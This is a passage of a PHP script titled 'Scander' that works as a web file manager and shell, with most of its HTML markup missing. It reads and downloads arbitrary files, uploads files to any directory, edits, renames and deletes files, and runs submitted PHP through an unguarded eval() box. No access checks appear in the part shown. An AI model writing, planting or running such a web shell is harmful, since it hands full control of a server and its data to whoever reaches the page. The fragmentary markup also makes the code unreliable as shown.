Error: Cannot open directory.';
return;
}
if (count($entries) <= 2) {
echo 'Empty directory';
return;
}
echo '
';
}
function downloadFile($file) {
$filename = basename($file);
if (function_exists('mime_content_type')) {
$contype = mime_content_type($file);
} else {
$contype = 'Unknown';
header("Content-Disposition: attachment; filename=\"$filename\"");
}
header("Content-type: $contype");
echo file_get_contents($file);
die;
}
function uploadFile($outdir) {
$uploadBoxes = '';
for ($i = 0; $i < 50; $i++) {
$uploadBoxes .= "\t
\r\n";
}
echo '
Upload Files
';
if(!isset($_FILES['upFile'])) {
echo '
';
}
else {
echo "\r\n";
$outdir .= '/';
$file = $_FILES['upFile'];
for ($i = 0; $i < count($file['name']); $i++) {
if (strlen($file['name'][$i]) == 0) continue;
if (@move_uploaded_file($file['tmp_name'][$i], $outdir . $file['name'][$i])) {
echo "\t- ".html($file['name'][$i])." successfully uploaded.
\r\n";
}
else {
echo "\t- Uploading ".html($file['name'][$i])." failed.
\r\n";
}
}
echo '
';
echo "Return
";
}
}
function editFile($filename, $new=false) {
global $thisDir;
$filename = realpath($filename);
$name = basename($filename);
$file = $new ? '' : file_get_contents($filename);
$title = $new ? '
' : ''.html($name).'
';
$saveArgs = $new ? "'".addslashes($filename)."/' + document.getElementById('f').value, document.getElementById('v').value" : "document.getElementById('f').value, document.getElementById('v').value";
//$browseArgs = "'.addslashes($thisDir)."', '".addslashes($name).'";
$browseArgs = "'".addslashes($thisDir)."', ".($new ? "document.getElementById('f').value" : ("'".addslashes($name))."'");
echo "
$title
";
}
function saveFile($filename, $contents) {
echo file_put_contents($filename, $contents) !== false;
die;
}
function renameSubject($subject, $newName) {
$success = @rename($subject, dirname($subject).'/'.$newName);
$newPath = realpath(dirname($subject).'/'.$newName);
echo $success ? $newPath : '0';
die;
}
function deleteSubject($subject) {
if (is_file($subject)) {
echo @unlink($subject) ? '1' : '0';
}
else if (is_dir($subject)) {
echo @rmdir($subject) ? '1' : '0';
}
else echo false;
die;
}
function evalBox($command) {
if ($command === false) {
echo '
Run PHP
';
}
else {
ob_end_clean();
eval($command);
die;
}
}
header('Cache-Control: no-cache');
header('Content-Type: text/html; charset=ISO-8859-1');
?>
Scander -
Scander